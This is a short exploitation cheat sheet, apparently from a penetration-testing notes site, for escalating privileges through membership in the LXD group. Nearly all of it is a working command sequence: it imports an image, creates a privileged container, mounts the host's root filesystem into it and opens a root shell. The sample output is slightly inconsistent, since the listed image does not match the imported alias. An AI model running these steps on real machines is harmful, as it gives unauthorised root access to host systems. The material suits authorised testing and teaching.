LXD/LXC
Pre-Requisites
Sample Exploitation
$ id uid=1000(container-user) gid=1000(container-user) groups=1000(container-user),116(lxd)$ cd ContainerImages $ ls ubuntu-template.tar.xz$ lxc image import ubuntu-template.tar.xz --alias ubuntutemp $ lxc image list +-------------------------------------+--------------+--------+-----------------------------------------+--------------+-----------------+-----------+-------------------------------+ | ALIAS | FINGERPRINT | PUBLIC | DESCRIPTION | ARCHITECTURE | TYPE | SIZE | UPLOAD DATE | +-------------------------------------+--------------+--------+-----------------------------------------+--------------+-----------------+-----------+-------------------------------+ | ubuntu/18.04 (v1.1.2) | 623c9f0bde47 | no | Ubuntu bionic amd64 (20221024_11:49) | x86_64 | CONTAINER | 106.49MB | Oct 24, 2022 at 12:00am (UTC) | +-------------------------------------+--------------+--------+-----------------------------------------+--------------+-----------------+-----------+-------------------------------+$ lxc init ubuntutemp privesc -c security.privileged=true $ lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true$ lxc start privesc $ lxc exec privesc /bin/bash # ls -l /mnt/root
Last updated